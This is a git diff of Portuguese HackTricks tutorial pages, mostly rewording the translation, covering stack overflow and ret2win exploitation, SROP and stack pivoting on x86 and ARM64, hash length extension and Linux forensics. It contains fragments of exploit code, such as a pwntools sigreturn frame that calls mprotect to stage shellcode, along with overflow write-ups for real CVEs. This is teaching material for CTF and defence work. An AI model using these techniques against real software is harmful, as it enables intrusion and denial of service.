- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.

8
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
View File

@ -189,13 +189,13 @@ python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/nul
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
Ambas as ferramentas entendem codificações **AArch64** e listarão sequências candidatas `mov x8, 0x8b ; svc #0` que podem ser usadas como o *gadget SROP*.
Ambas as ferramentas entendem **AArch64** codificações e listarão sequências candidatas `mov x8, 0x8b ; svc #0` que podem ser usadas como o *gadget SROP*.
> Nota: Quando os binários são compilados com **BTI**, a primeira instrução de cada alvo de ramificação indireta válida é `bti c`. Trampolins `sigreturn` colocados pelo linker já incluem o pad de aterrissagem BTI correto, então o gadget permanece utilizável a partir de código não privilegiado.
## Encadeando SROP com ROP (pivot via `mprotect`)
`rt_sigreturn` nos permite controlar *todos* os registradores de uso geral e `pstate`. Um padrão comum em x86 é: 1) usar SROP para chamar `mprotect`, 2) pivotar para uma nova pilha executável contendo shell-code. A mesma ideia funciona no ARM64:
`rt_sigreturn` nos permite controlar *todos* os registradores de uso geral e `pstate`. Um padrão comum em x86 é: 1) usar SROP para chamar `mprotect`, 2) pivotar para uma nova pilha executável contendo shell-code. A mesma ideia funciona em ARM64:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
@ -205,7 +205,7 @@ frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
Após enviar o frame, você pode enviar um segundo estágio contendo código shell bruto em `0x400000+0x100`. Como **AArch64** usa endereçamento *PC-relative*, isso é frequentemente mais conveniente do que construir grandes cadeias ROP.
Após enviar o frame, você pode enviar um segundo estágio contendo shell-code bruto em `0x400000+0x100`. Porque **AArch64** usa endereçamento *PC-relative*, isso é frequentemente mais conveniente do que construir grandes cadeias ROP.
## Validação do Kernel, PAC e Shadow-Stacks
@ -223,7 +223,7 @@ Shadow-Call-Stacks introduzidos no ARMv8.9 (e já habilitados no ChromeOS 1.27+)
## Referências
* [Documentação de manipulação de sinal do Linux arm64](https://docs.kernel.org/arch/arm64/signal.html)
* [Documentação de manipulação de sinal arm64 do Linux](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
{{#include ../../../banners/hacktricks-training.md}}

20
src/binary-exploitation/stack-overflow/README.md
View File

@ -8,11 +8,11 @@ Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escre
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
A vulnerabilidade geralmente surge porque uma função **copia para dentro da pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
A vulnerabilidade geralmente surge porque uma função **copia para dentro da pilha mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes da pilha.
Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
Por exemplo, as seguintes funções podem ser vulneráveis:
Por exemplo, as seguintes funções poderiam ser vulneráveis:
```c
void vulnerable() {
char buffer[128];
@ -27,7 +27,7 @@ A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-a.
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
É possível usar **pwntools** para isso:
```python
@ -59,6 +59,7 @@ No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáv
Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada:
{{#ref}}
ret2win/
{{#endref}}
@ -67,6 +68,7 @@ ret2win/
Neste cenário, o atacante poderia colocar um shellcode na pilha e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
{{#ref}}
stack-shellcode/
{{#endref}}
@ -75,13 +77,15 @@ stack-shellcode/
Esta técnica é a estrutura fundamental para contornar a principal proteção da técnica anterior: **Pilha não executável (NX)**. E permite realizar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções existentes no binário:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Estouros de Heap
Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
Um estouro nem sempre ocorrerá na pilha, também pode ocorrer no **heap**, por exemplo:
{{#ref}}
../libc-heap/heap-overflow.md
@ -91,13 +95,15 @@ Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por
Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em:
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100)
Uma boa demonstração de por que **`sscanf` nunca deve ser confiado para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
Uma boa demonstração de por que **`sscanf` nunca deve ser confiável para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall.
A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
@ -122,7 +128,7 @@ Mesmo que canários de pilha abortem o processo, um atacante ainda ganha um **De
### Exemplo do Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **estouramentos de pilha** acessíveis através de sua API HTTP. O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`:
O NVIDIA Triton Inference Server (≤ v25.06) continha múltiplos **estouramentos de pilha** acessíveis através de sua API HTTP. O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -133,7 +139,7 @@ alloca(sizeof(struct evbuffer_iovec) * n);
}
```
1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da solicitação HTTP atual.
2. Cada segmento causa a alocação de um `evbuffer_iovec` de **16 bytes** na **pilha** via `alloca()` – **sem nenhum limite superior**.
2. Cada segmento causa a alocação de um **`evbuffer_iovec` de 16 bytes** na **pilha** via `alloca()` – **sem nenhum limite superior**.
3. Ao abusar do **_chunked transfer-encoding_ HTTP**, um cliente pode forçar a solicitação a ser dividida em **centenas de milhares de chunks de 6 bytes** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limites até que a pilha se esgote.
#### Prova de Conceito (DoS)

21
src/binary-exploitation/stack-overflow/ret2win/README.md
View File

@ -4,7 +4,7 @@
## Informações Básicas
**Ret2win** desafios são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
Desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
### Exemplo em C
@ -32,9 +32,9 @@ Para compilar este programa sem proteções de pilha e com **ASLR** desativado,
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Compile o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).
- `-fno-stack-protector`: Desabilitar proteções contra estouros de pilha.
- `-fno-stack-protector`: Desativar proteções contra estouros de pilha.
- `-z execstack`: Permitir a execução de código na pilha.
- `-no-pie`: Desabilitar Executável Independente de Posição para garantir que o endereço da função `win` não mude.
- `-no-pie`: Desativar Executável Independente de Posição para garantir que o endereço da função `win` não mude.
- `-o vulnerable`: Nomear o arquivo de saída como `vulnerable`.
### Exploit em Python usando Pwntools
@ -63,13 +63,13 @@ Para encontrar o endereço da função `win`, você pode usar **gdb**, **objdump
```sh
objdump -d vulnerable | grep win
```
Este comando mostrará a você a montagem da função `win`, incluindo seu endereço de início.
Este comando mostrará a você a montagem da função `win`, incluindo seu endereço inicial.
O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela `vulnerable_function`, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ele salta para `win`, e a mensagem é impressa.
## Proteções
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordo é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibble hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
## Outros exemplos & Referências
@ -78,19 +78,19 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32 bits, sem ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits com ASLR, com um leak do endereço do binário
- 64 bits com ASLR, com um leak do endereço do bin
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, sem ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, sem ASLR, transbordamento pequeno duplo, primeiro para transbordar a pilha e aumentar o tamanho do segundo transbordamento
- 32 bits, sem ASLR, transbordo pequeno duplo, primeiro para transbordar a pilha e aumentar o tamanho do segundo transbordo
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bits, nx, nada mais, sobrescrita parcial do EIP (1Byte) para chamar a função win
- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bits, nx, nada mais, sobrescrita parcial do EIP (1Byte) para chamar a função win
- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordamento de buffer explorado com um ret2win.
- O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordo de buffer explorado com um ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
@ -100,6 +100,7 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
## Exemplo ARM64
{{#ref}}
ret2win-arm64.md
{{#endref}}

3
src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
View File

@ -4,6 +4,7 @@
Encontre uma introdução ao arm64 em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -144,7 +145,7 @@ Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/a
### Off-by-2
Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o offset da função em relação ao binário e, sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o offset para a função win (**0x7d4**) neste caso e apenas usar esse offset:
Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e, sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python

14
src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View File

@ -41,9 +41,9 @@ Lembre-se de que antes de qualquer um desses endereços na área controlada, dev
#### Exploit Off-By-One
Há uma variante usada quando você pode **apenas modificar o byte menos significativo do EBP/RBP salvo**. Nesse caso, a localização da memória que armazena o endereço para o qual pular com **`ret`** deve compartilhar os três/cinco primeiros bytes com o EBP/RBP original para que uma sobrescrita de 1 byte possa redirecioná-lo. Normalmente, o byte baixo (offset 0x00) é aumentado para pular o mais longe possível dentro de uma página/região alinhada próxima.
Há uma variante usada quando você pode **apenas modificar o byte menos significativo do EBP/RBP salvo**. Nesse caso, a localização de memória que armazena o endereço para o qual pular com **`ret`** deve compartilhar os três/cinco primeiros bytes com o EBP/RBP original para que uma sobrescrita de 1 byte possa redirecioná-lo. Normalmente, o byte baixo (offset 0x00) é aumentado para pular o mais longe possível dentro de uma página/região alinhada próxima.
É comum também usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo RSP aponte dentro do sled e a cadeia ROP final seja executada.
É comum também usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo RSP aponte dentro do sled e a cadeia ROP final seja executada.
### Encadeamento de EBP
@ -130,7 +130,7 @@ No amd64, você frequentemente verá `pop rbp ; ret` em vez de `leave ; ret`, ma
### Gadget `pop rsp`
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando essa técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para esse desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -188,9 +188,9 @@ Verifique a técnica ret2esp aqui:
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
### Encontrando gadgets de pivot rapidamente
### Encontrando gadgets de pivotagem rapidamente
Use seu buscador de gadgets favorito para procurar por primitivos de pivot clássicos:
Use seu buscador de gadgets favorito para procurar por primitivos de pivotagem clássicos:
- `leave ; ret` em funções ou em bibliotecas
- `pop rsp` / `xchg rax, rsp ; ret`
@ -242,7 +242,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
- Algumas distribuições modernas ativam o SHSTK para binários habilitados para CET quando há suporte de hardware e glibc. Para testes controlados em VMs, o SHSTK pode ser desativado em todo o sistema via o parâmetro de inicialização do kernel `nousershstk`, ou habilitado seletivamente via tunáveis do glibc durante a inicialização (veja referências). Não desative as mitig ações em alvos de produção.
- Técnicas baseadas em JOP/COOP ou SROP ainda podem ser viáveis em alguns alvos, mas o SHSTK quebra especificamente os pivôs baseados em `ret`.
- Nota do Windows: O Windows 10+ expõe o modo de usuário e o Windows 11 adiciona a “Proteção de Pilha Forçada por Hardware” em modo kernel, construída sobre pilhas sombra. Processos compatíveis com CET impedem o pivotamento de pilha/ROP em `ret`; os desenvolvedores optam por isso via CETCOMPAT e políticas relacionadas (veja referência).
- Nota do Windows: O Windows 10+ expõe o modo de usuário e o Windows 11 adiciona a proteção de pilha "Hardware-enforced Stack Protection" em modo kernel, construída sobre pilhas sombra. Processos compatíveis com CET impedem o pivotamento de pilha/ROP em `ret`; os desenvolvedores optam por isso via CETCOMPAT e políticas relacionadas (veja referência).
## ARM64
@ -284,6 +284,6 @@ Também na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bits, sem relro, canário, nx e pie. O programa concede um leak para pilha ou pie e um WWW de um qword. Primeiro obtenha o leak da pilha e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a pivotando com RBP.
- Documentação do kernel Linux: Tecnologia de Aplicação de Controle de Fluxo (CET) Shadow Stack — detalhes sobre SHSTK, `nousershstk`, flags de `/proc/$PID/status`, e habilitação via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Proteção de Pilha Forçada por Hardware em Modo Kernel (pilhas sombra CET no Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Microsoft Learn: Proteção de Pilha em Modo Kernel com Hardware (pilhas sombra CET no Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}

5
src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
View File

@ -4,6 +4,7 @@
Encontre uma introdução ao arm64 em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -27,7 +28,7 @@ Compile sem pie, canário e nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Sem ASLR e Sem canário - Stack Overflow
## Sem ASLR & Sem canário - Stack Overflow
Para parar o ASLR, execute:
```bash
@ -66,7 +67,7 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
A única coisa "complicada" de encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco).
A única coisa "complicada" a encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco).
Eu abri o arquivo **`core`** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.

6
src/crypto-and-stego/hash-length-extension-attack.md
View File

@ -1,10 +1,10 @@
# Ataque de Extensão de Comprimento de Hash
# Hash Length Extension Attack
{{#include ../banners/hacktricks-training.md}}
## Resumo do ataque
Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, fazendo o hash desses dados. Se você souber:
Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
- **O comprimento do segredo** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
- **Os dados de texto claro**
@ -17,7 +17,7 @@ Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma *
### Como?
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **fazendo o hash de um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **fazem o hash**.
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir** do **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
Então, imagine que o segredo é "secret" e os dados são "data", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\
Se um atacante quiser anexar a string "append", ele pode:

4
src/crypto-and-stego/rc4-encrypt-and-decrypt.md
View File

@ -1,13 +1,17 @@
# RC4 Encrypt and Decrypt
{{#include ../banners/hacktricks-training.md}}
Se você puder de alguma forma criptografar um texto simples usando RC4, poderá descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}

4
src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
View File

@ -18,7 +18,7 @@ malware-analysis.md
## Inspecionando uma Imagem
Se você receber uma **imagem forense** de um dispositivo, pode começar **analisando as partições, o sistema de arquivos** utilizado e **recuperando** arquivos potencialmente **interessantes** (mesmo os deletados). Aprenda como em:
Se você receber uma **imagem forense** de um dispositivo, pode começar **a analisar as partições, o sistema de arquivos** utilizado e **recuperar** arquivos potencialmente **interessantes** (mesmo os deletados). Aprenda como em:
{{#ref}}
partitions-file-systems-carving/
@ -38,7 +38,7 @@ linux-forensics.md
docker-forensics.md
{{#endref}}
## Inspeção profunda de tipos de arquivos específicos e Software
## Inspeção Profunda de Tipos de Arquivos Específicos e Software
Se você tiver um **arquivo** muito **suspeito**, então **dependendo do tipo de arquivo e do software** que o criou, vários **truques** podem ser úteis.\
Leia a página a seguir para aprender alguns truques interessantes:

28
src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
View File

@ -6,7 +6,7 @@
### Informações Básicas
Primeiramente, é recomendável ter um **USB** com **binaries e bibliotecas bem conhecidas** (você pode apenas obter o ubuntu e copiar as pastas _/bin_, _/sbin_, _/lib,_ e _/lib64_), então monte o USB e modifique as variáveis de ambiente para usar esses binaries:
Primeiramente, é recomendado ter um **USB** com **binaries e bibliotecas bem conhecidas** (você pode apenas pegar o ubuntu e copiar as pastas _/bin_, _/sbin_, _/lib,_ e _/lib64_), então monte o USB e modifique as variáveis de ambiente para usar esses binaries:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -63,8 +63,8 @@ LiME também pode ser usado para **enviar o dump via rede** em vez de armazená-
#### Desligando
Primeiramente, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "desconectar da tomada"**. O primeiro permitirá que os **processos sejam encerrados normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "desconectar da tomada" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá nenhuma oportunidade** de fazer algo a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e desconecte da tomada.
Primeiro de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "desconectar da tomada"**. O primeiro permitirá que os **processos terminem normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "desconectar da tomada" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá nenhuma oportunidade** de fazer algo a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e desconecte da tomada.
#### Tirando uma imagem do disco
@ -151,7 +151,7 @@ malware-analysis.md
## Pesquisa de programas instalados
Para pesquisar efetivamente por programas instalados em sistemas Debian e RedHat, considere aproveitar logs do sistema e bancos de dados juntamente com verificações manuais em diretórios comuns.
Para pesquisar efetivamente programas instalados em sistemas Debian e RedHat, considere aproveitar logs do sistema e bancos de dados juntamente com verificações manuais em diretórios comuns.
- Para Debian, inspecione _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ para obter detalhes sobre instalações de pacotes, usando `grep` para filtrar informações específicas.
- Usuários do RedHat podem consultar o banco de dados RPM com `rpm -qa --root=/mntpath/var/lib/rpm` para listar pacotes instalados.
@ -174,7 +174,7 @@ find / -type f -executable | grep <something>
```
## Recuperar Binários em Execução Deletados
Imagine um processo que foi executado de /tmp/exec e então deletado. É possível extrair isso.
Imagine um processo que foi executado de /tmp/exec e depois deletado. É possível extrair isso.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@ -196,7 +196,7 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
#### Hunt: Abuso de Cron/Anacron via 0anacron e stubs suspeitos
#### Caça: Abuso de Cron/Anacron via 0anacron e stubs suspeitos
Os atacantes frequentemente editam o stub 0anacron presente em cada diretório /etc/cron.*/ para garantir a execução periódica.
```bash
# List 0anacron files and their timestamps/sizes
@ -233,7 +233,7 @@ Caminhos onde um malware poderia ser instalado como um serviço:
- **/etc/systemd/system**: Um diretório para scripts do gerenciador de sistema e serviços.
- **/etc/systemd/system/multi-user.target.wants/**: Contém links para serviços que devem ser iniciados em um nível de execução multiusuário.
- **/usr/local/etc/rc.d/**: Para serviços personalizados ou de terceiros.
- **\~/.config/autostart/**: Para aplicativos de inicialização automática específicos do usuário, que podem ser um esconderijo para malware direcionado ao usuário.
- **\~/.config/autostart/**: Para aplicativos de inicialização automática específicos do usuário, que podem ser um esconderijo para malware direcionado a usuários.
- **/lib/systemd/system/**: Arquivos de unidade padrão do sistema fornecidos por pacotes instalados.
### Módulos do Kernel
@ -246,10 +246,10 @@ Módulos do kernel Linux, frequentemente utilizados por malware como componentes
### Outros Locais de Autostart
